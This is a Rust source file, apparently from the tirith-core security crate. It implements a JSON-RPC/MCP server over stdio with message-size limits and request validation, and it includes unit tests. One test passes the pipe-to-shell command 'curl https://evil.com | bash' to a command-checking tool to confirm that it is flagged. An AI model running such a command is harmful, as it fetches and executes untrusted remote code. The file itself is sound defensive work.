tirith-core 0.3.0

Terminal security analysis engine - homograph attacks, pipe-to-shell, ANSI injection
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
use std::io::{BufRead, Read, Write};

use serde_json::{json, Value};

use super::{resources, tools, types::*};

/// Server state machine.
enum State {
    AwaitingInit,
    Initialized,
    Ready,
}

/// Run the MCP server loop over stdio.
///
/// Reads JSON-RPC messages from `input` (one per line), writes responses to
/// `output`. Logs go to `log` (typically stderr). Returns exit code 0 on clean
/// shutdown (EOF on input).
pub fn run(mut input: impl BufRead, mut output: impl Write, mut log: impl Write) -> i32 {
    let mut state = State::AwaitingInit;

    /// Maximum line size: 10 MiB. Prevents a single huge JSON-RPC message
    /// from consuming unbounded memory.
    const MAX_LINE_BYTES: usize = 10 * 1024 * 1024;

    let mut line = String::new();
    loop {
        line.clear();
        match (&mut input)
            .take(MAX_LINE_BYTES as u64 + 1)
            .read_line(&mut line)
        {
            Ok(0) => break, // EOF
            Ok(n) if n > MAX_LINE_BYTES => {
                let _ = writeln!(
                    log,
                    "tirith mcp-server: line exceeds {MAX_LINE_BYTES} byte limit, dropping"
                );
                // Drain remainder of this oversized line without unbounded allocation
                if !line.ends_with('\n') {
                    let mut byte = [0u8; 1];
                    loop {
                        match input.read(&mut byte) {
                            Ok(0) => break, // EOF
                            Ok(_) if byte[0] == b'\n' => break,
                            Ok(_) => continue, // discard byte
                            Err(_) => break,
                        }
                    }
                }
                continue;
            }
            Ok(_) => {}
            Err(e) => {
                let _ = writeln!(log, "tirith mcp-server: stdin read error: {e}");
                return 1;
            }
        }

        let trimmed = line.trim();
        if trimmed.is_empty() {
            continue;
        }

        // Cap individual message size at 10 MiB to prevent DoS
        const MAX_LINE_LEN: usize = 10 * 1024 * 1024;
        if trimmed.len() > MAX_LINE_LEN {
            let _ = writeln!(
                log,
                "tirith mcp-server: message too large ({} bytes), dropping",
                trimmed.len()
            );
            let resp = JsonRpcResponse::err(
                Value::Null,
                JsonRpcError {
                    code: -32700,
                    message: format!(
                        "Message too large: {} bytes exceeds {} byte limit",
                        trimmed.len(),
                        MAX_LINE_LEN
                    ),
                    data: None,
                },
            );
            if !write_response(&mut output, &resp) {
                let _ = writeln!(log, "tirith mcp-server: output broken, exiting");
                return 1;
            }
            continue;
        }

        // Raw-JSON parse first: failure here is a JSON-RPC parse error (-32700).
        let raw: Value = match serde_json::from_str(trimmed) {
            Ok(v) => v,
            Err(e) => {
                let _ = writeln!(log, "tirith mcp-server: parse error: {e}");
                let resp = JsonRpcResponse::err(
                    Value::Null,
                    JsonRpcError {
                        code: -32700,
                        message: format!("Parse error: {e}"),
                        data: None,
                    },
                );
                if !write_response(&mut output, &resp) {
                    let _ = writeln!(log, "tirith mcp-server: output broken, exiting");
                    return 1;
                }
                continue;
            }
        };

        // JSON-RPC envelope validation: failures here are invalid-request (-32600).
        // Extract id first so error responses can echo it when the client's id was recoverable.
        let raw_id = raw.get("id").cloned();

        // Recover a usable id: JSON-RPC allows string, number, or null — reject
        // object/array/bool.
        let usable_id = match &raw_id {
            None => None, // notification (no id field at all)
            Some(Value::Null) | Some(Value::Number(_)) | Some(Value::String(_)) => raw_id.clone(),
            Some(_) => {
                // id present but wrong type — invalid request
                let resp = JsonRpcResponse::err(
                    Value::Null,
                    JsonRpcError {
                        code: -32600,
                        message: "Invalid request: id must be string, number, or null".into(),
                        data: None,
                    },
                );
                if !write_response(&mut output, &resp) {
                    let _ = writeln!(log, "tirith mcp-server: output broken, exiting");
                    return 1;
                }
                continue;
            }
        };

        // Validate jsonrpc field
        match raw.get("jsonrpc").and_then(|v| v.as_str()) {
            Some("2.0") => {}
            _ => {
                let resp = JsonRpcResponse::err(
                    usable_id.unwrap_or(Value::Null),
                    JsonRpcError {
                        code: -32600,
                        message: "Invalid request: jsonrpc must be \"2.0\"".into(),
                        data: None,
                    },
                );
                if !write_response(&mut output, &resp) {
                    let _ = writeln!(log, "tirith mcp-server: output broken, exiting");
                    return 1;
                }
                continue;
            }
        }

        // Validate method field
        let method = match raw.get("method").and_then(|v| v.as_str()) {
            Some(m) => m.to_string(),
            None => {
                let resp = JsonRpcResponse::err(
                    usable_id.unwrap_or(Value::Null),
                    JsonRpcError {
                        code: -32600,
                        message: "Invalid request: missing or non-string method".into(),
                        data: None,
                    },
                );
                if !write_response(&mut output, &resp) {
                    let _ = writeln!(log, "tirith mcp-server: output broken, exiting");
                    return 1;
                }
                continue;
            }
        };

        let params = raw.get("params").cloned();

        // Notifications (no id field) — handle silently, no response
        if usable_id.is_none() {
            match method.as_str() {
                "notifications/initialized" => {
                    if matches!(state, State::Initialized) {
                        state = State::Ready;
                        let _ = writeln!(log, "tirith mcp-server: client initialized");
                    }
                    // Ignore if not yet initialized — don't transition from AwaitingInit
                }
                _ => {
                    // Unknown notification — ignore per spec
                }
            }
            continue;
        }

        let id = usable_id.unwrap(); // safe: we checked is_none above

        let response = match state {
            State::AwaitingInit => match method.as_str() {
                "initialize" => {
                    let result = handle_initialize(&params);
                    state = State::Initialized;
                    let _ = writeln!(log, "tirith mcp-server: session initialized");
                    JsonRpcResponse::ok(id, result)
                }
                "ping" => JsonRpcResponse::ok(id, json!({})),
                _ => JsonRpcResponse::err(
                    id,
                    JsonRpcError {
                        code: -32002,
                        message: "Server not initialized".into(),
                        data: Some(json!({"hint": "Send initialize first"})),
                    },
                ),
            },
            State::Initialized | State::Ready => match method.as_str() {
                "initialize" => {
                    let result = handle_initialize(&params);
                    JsonRpcResponse::ok(id, result)
                }
                "ping" => JsonRpcResponse::ok(id, json!({})),
                "tools/list" => {
                    let tools = tools::list();
                    JsonRpcResponse::ok(id, json!({ "tools": tools }))
                }
                "tools/call" => {
                    let result = handle_tools_call(&params);
                    match serde_json::to_value(result) {
                        Ok(v) => JsonRpcResponse::ok(id, v),
                        Err(e) => JsonRpcResponse::err(
                            id,
                            JsonRpcError {
                                code: -32603,
                                message: format!("Internal error: {e}"),
                                data: None,
                            },
                        ),
                    }
                }
                "resources/list" => {
                    let resources = resources::list();
                    JsonRpcResponse::ok(id, json!({ "resources": resources }))
                }
                "resources/read" => handle_resources_read(id, &params),
                _ => JsonRpcResponse::err(
                    id,
                    JsonRpcError {
                        code: -32601,
                        message: "Method not found".into(),
                        data: None,
                    },
                ),
            },
        };

        if !write_response(&mut output, &response) {
            let _ = writeln!(log, "tirith mcp-server: output broken, exiting");
            return 1;
        }
    }

    let _ = writeln!(log, "tirith mcp-server: stdin closed, exiting");
    0
}

fn handle_initialize(params: &Option<Value>) -> Value {
    let requested_version = params
        .as_ref()
        .and_then(|p| p.get("protocolVersion"))
        .and_then(|v| v.as_str())
        .unwrap_or(SUPPORTED_VERSIONS[0]);

    let version = negotiate_version(requested_version);
    let pkg_version = env!("CARGO_PKG_VERSION");

    let result = InitializeResult {
        protocol_version: version,
        capabilities: ServerCapabilities {
            tools: ToolsCapability {},
            resources: ResourcesCapability {},
        },
        server_info: ServerInfo {
            name: "tirith".into(),
            version: pkg_version.into(),
        },
    };

    serde_json::to_value(result).unwrap_or_else(|e| {
        eprintln!("tirith: mcp: initialize serialization failed: {e}");
        json!({})
    })
}

fn handle_tools_call(params: &Option<Value>) -> ToolCallResult {
    let params = match params {
        Some(p) => p,
        None => {
            return ToolCallResult {
                content: vec![ContentItem {
                    content_type: "text".into(),
                    text: "Missing params".into(),
                }],
                is_error: true,
                structured_content: None,
            }
        }
    };

    let call_params: ToolCallParams = match serde_json::from_value(params.clone()) {
        Ok(p) => p,
        Err(e) => {
            return ToolCallResult {
                content: vec![ContentItem {
                    content_type: "text".into(),
                    text: format!("Invalid tool call params: {e}"),
                }],
                is_error: true,
                structured_content: None,
            }
        }
    };

    tools::call(&call_params.name, &call_params.arguments)
}

fn handle_resources_read(id: Value, params: &Option<Value>) -> JsonRpcResponse {
    let uri = params
        .as_ref()
        .and_then(|p| p.get("uri"))
        .and_then(|v| v.as_str());

    let uri = match uri {
        Some(u) => u,
        None => {
            return JsonRpcResponse::err(
                id,
                JsonRpcError {
                    code: -32602,
                    message: "Missing required parameter: uri".into(),
                    data: None,
                },
            )
        }
    };

    match resources::read_content(uri) {
        Ok(contents) => JsonRpcResponse::ok(id, json!({ "contents": contents })),
        Err(msg) => JsonRpcResponse::err(
            id,
            JsonRpcError {
                code: -32603, // Internal error (not invalid params — uri validated above)
                message: msg,
                data: None,
            },
        ),
    }
}

/// Write a JSON-RPC response. Returns false if the output is broken (caller should exit).
fn write_response(output: &mut impl Write, resp: &JsonRpcResponse) -> bool {
    match serde_json::to_string(resp) {
        Ok(json) => {
            if writeln!(output, "{json}").is_err() || output.flush().is_err() {
                return false;
            }
            true
        }
        Err(_) => {
            // Should not happen with well-formed types. Try to send an internal
            // error response as a fallback so the client isn't left hanging.
            let fallback = r#"{"jsonrpc":"2.0","id":null,"error":{"code":-32603,"message":"Internal serialization error"}}"#;
            let _ = writeln!(output, "{fallback}");
            let _ = output.flush();
            true
        }
    }
}

#[cfg(test)]
mod tests {
    use super::*;
    use std::io::BufReader;

    fn run_session(input: &str) -> (String, String) {
        let reader = BufReader::new(input.as_bytes());
        let mut stdout = Vec::new();
        let mut stderr = Vec::new();
        let code = run(reader, &mut stdout, &mut stderr);
        assert_eq!(code, 0, "Server should exit cleanly");
        (
            String::from_utf8(stdout).unwrap(),
            String::from_utf8(stderr).unwrap(),
        )
    }

    fn parse_responses(stdout: &str) -> Vec<Value> {
        stdout
            .lines()
            .filter(|l| !l.trim().is_empty())
            .map(|l| serde_json::from_str(l).expect("valid JSON response"))
            .collect()
    }

    fn init_msg(id: u64, version: &str) -> String {
        format!(
            r#"{{"jsonrpc":"2.0","id":{id},"method":"initialize","params":{{"protocolVersion":"{version}","capabilities":{{}},"clientInfo":{{"name":"test","version":"1.0"}}}}}}"#
        )
    }

    #[test]
    fn test_lifecycle() {
        let input = format!(
            "{}\n{}\n{}\n{}\n",
            init_msg(1, "2025-11-25"),
            r#"{"jsonrpc":"2.0","method":"notifications/initialized"}"#,
            r#"{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}"#,
            r#"{"jsonrpc":"2.0","id":3,"method":"ping"}"#,
        );

        let (stdout, _stderr) = run_session(&input);
        let resps = parse_responses(&stdout);

        // id=1: initialize
        assert_eq!(resps[0]["id"], 1);
        assert!(resps[0]["result"]["protocolVersion"].is_string());
        assert_eq!(resps[0]["result"]["serverInfo"]["name"], "tirith");

        // id=2: tools/list
        assert_eq!(resps[1]["id"], 2);
        let tools = resps[1]["result"]["tools"].as_array().unwrap();
        assert!(tools.len() >= 6, "Expected at least 6 tools");

        // id=3: ping
        assert_eq!(resps[2]["id"], 3);
        assert_eq!(resps[2]["result"], json!({}));
    }

    #[test]
    fn test_pre_init_enforcement() {
        let input = format!(
            "{}\n",
            r#"{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}"#,
        );

        let (stdout, _) = run_session(&input);
        let resps = parse_responses(&stdout);
        assert_eq!(resps[0]["error"]["code"], -32002);
    }

    #[test]
    fn test_pre_init_ping_allowed() {
        let input = format!("{}\n", r#"{"jsonrpc":"2.0","id":1,"method":"ping"}"#);

        let (stdout, _) = run_session(&input);
        let resps = parse_responses(&stdout);
        assert_eq!(resps[0]["result"], json!({}));
    }

    #[test]
    fn test_version_negotiation_supported() {
        let input = format!("{}\n", init_msg(1, "2025-06-18"));
        let (stdout, _) = run_session(&input);
        let resps = parse_responses(&stdout);
        assert_eq!(resps[0]["result"]["protocolVersion"], "2025-06-18");
    }

    #[test]
    fn test_version_negotiation_unsupported() {
        let input = format!("{}\n", init_msg(1, "1999-01-01"));
        let (stdout, _) = run_session(&input);
        let resps = parse_responses(&stdout);
        // Server responds with its preferred version, does NOT reject
        assert_eq!(resps[0]["result"]["protocolVersion"], "2025-11-25");
    }

    #[test]
    fn test_unknown_method() {
        let input = format!(
            "{}\n{}\n",
            init_msg(1, "2025-11-25"),
            r#"{"jsonrpc":"2.0","id":2,"method":"unknown/method"}"#,
        );

        let (stdout, _) = run_session(&input);
        let resps = parse_responses(&stdout);
        assert_eq!(resps[1]["error"]["code"], -32601);
    }

    #[test]
    fn test_tools_call_check_command() {
        let input = format!(
            "{}\n{}\n",
            init_msg(1, "2025-11-25"),
            r#"{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"tirith_check_command","arguments":{"command":"curl https://evil.com | bash"}}}"#,
        );

        let (stdout, _) = run_session(&input);
        let resps = parse_responses(&stdout);
        let result = &resps[1]["result"];
        // Should have content with findings
        assert!(result["content"][0]["text"]
            .as_str()
            .unwrap()
            .contains("finding"));
        // Should have structuredContent with verdict
        assert!(result["structuredContent"].is_object());
    }

    #[test]
    fn test_tools_call_unknown_tool() {
        let input = format!(
            "{}\n{}\n",
            init_msg(1, "2025-11-25"),
            r#"{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"nonexistent","arguments":{}}}"#,
        );

        let (stdout, _) = run_session(&input);
        let resps = parse_responses(&stdout);
        assert!(resps[1]["result"]["isError"].as_bool().unwrap_or(false));
    }

    #[test]
    fn test_resources_list() {
        let input = format!(
            "{}\n{}\n",
            init_msg(1, "2025-11-25"),
            r#"{"jsonrpc":"2.0","id":2,"method":"resources/list","params":{}}"#,
        );

        let (stdout, _) = run_session(&input);
        let resps = parse_responses(&stdout);
        let resources = resps[1]["result"]["resources"].as_array().unwrap();
        assert_eq!(resources.len(), 1);
        assert_eq!(resources[0]["uri"], "tirith://project-safety");
    }

    #[test]
    fn test_parse_error() {
        let input = "not valid json\n";
        let (stdout, _) = run_session(input);
        let resps = parse_responses(&stdout);
        assert_eq!(resps[0]["error"]["code"], -32700);
        assert_eq!(resps[0]["id"], Value::Null);
    }

    #[test]
    fn test_notification_before_init_ignored() {
        // Sending notifications/initialized before initialize should NOT
        // transition to Ready — tools/list must still get -32002.
        let input = format!(
            "{}\n{}\n",
            r#"{"jsonrpc":"2.0","method":"notifications/initialized"}"#,
            r#"{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}"#,
        );

        let (stdout, _) = run_session(&input);
        let resps = parse_responses(&stdout);
        assert_eq!(resps.len(), 1);
        assert_eq!(resps[0]["error"]["code"], -32002);
    }

    #[test]
    fn test_invalid_request_missing_method() {
        // Valid JSON but missing "method" → -32600, not -32700
        let input = r#"{"jsonrpc":"2.0","id":1}
"#;
        let (stdout, _) = run_session(input);
        let resps = parse_responses(&stdout);
        assert_eq!(resps[0]["error"]["code"], -32600);
        // id should be preserved
        assert_eq!(resps[0]["id"], 1);
    }

    #[test]
    fn test_invalid_request_wrong_jsonrpc_version() {
        let input = r#"{"jsonrpc":"1.0","id":1,"method":"ping"}
"#;
        let (stdout, _) = run_session(input);
        let resps = parse_responses(&stdout);
        assert_eq!(resps[0]["error"]["code"], -32600);
        assert_eq!(resps[0]["id"], 1);
    }

    #[test]
    fn test_invalid_request_object_id() {
        // JSON-RPC id must be string/number/null — object is invalid
        let input = r#"{"jsonrpc":"2.0","id":{"x":1},"method":"ping"}
"#;
        let (stdout, _) = run_session(input);
        let resps = parse_responses(&stdout);
        assert_eq!(resps[0]["error"]["code"], -32600);
        // Can't use the bad id, so null
        assert_eq!(resps[0]["id"], Value::Null);
    }

    #[test]
    fn test_invalid_request_array_id() {
        let input = r#"{"jsonrpc":"2.0","id":[1,2],"method":"ping"}
"#;
        let (stdout, _) = run_session(input);
        let resps = parse_responses(&stdout);
        assert_eq!(resps[0]["error"]["code"], -32600);
        assert_eq!(resps[0]["id"], Value::Null);
    }

    #[test]
    fn test_invalid_request_bool_id() {
        let input = r#"{"jsonrpc":"2.0","id":true,"method":"ping"}
"#;
        let (stdout, _) = run_session(input);
        let resps = parse_responses(&stdout);
        assert_eq!(resps[0]["error"]["code"], -32600);
        assert_eq!(resps[0]["id"], Value::Null);
    }

    #[test]
    fn test_invalid_request_missing_jsonrpc() {
        let input = r#"{"id":1,"method":"ping"}
"#;
        let (stdout, _) = run_session(input);
        let resps = parse_responses(&stdout);
        assert_eq!(resps[0]["error"]["code"], -32600);
        assert_eq!(resps[0]["id"], 1);
    }

    #[test]
    fn test_string_id_preserved() {
        // JSON-RPC allows string ids
        let input = format!("{}\n", r#"{"jsonrpc":"2.0","id":"abc","method":"ping"}"#,);
        let (stdout, _) = run_session(&input);
        let resps = parse_responses(&stdout);
        assert_eq!(resps[0]["id"], "abc");
        assert_eq!(resps[0]["result"], json!({}));
    }

    #[test]
    fn test_null_id_treated_as_request() {
        // JSON-RPC: explicit null id is a request (not a notification).
        // Only a missing id field makes it a notification.
        let input = format!(
            "{}\n{}\n",
            init_msg(1, "2025-11-25"),
            r#"{"jsonrpc":"2.0","id":null,"method":"ping"}"#,
        );
        let (stdout, _) = run_session(&input);
        let resps = parse_responses(&stdout);
        // id=1: initialize
        assert_eq!(resps[0]["id"], 1);
        // id=null: ping should get a response
        assert_eq!(resps.len(), 2);
        assert_eq!(resps[1]["id"], Value::Null);
        assert_eq!(resps[1]["result"], json!({}));
    }
}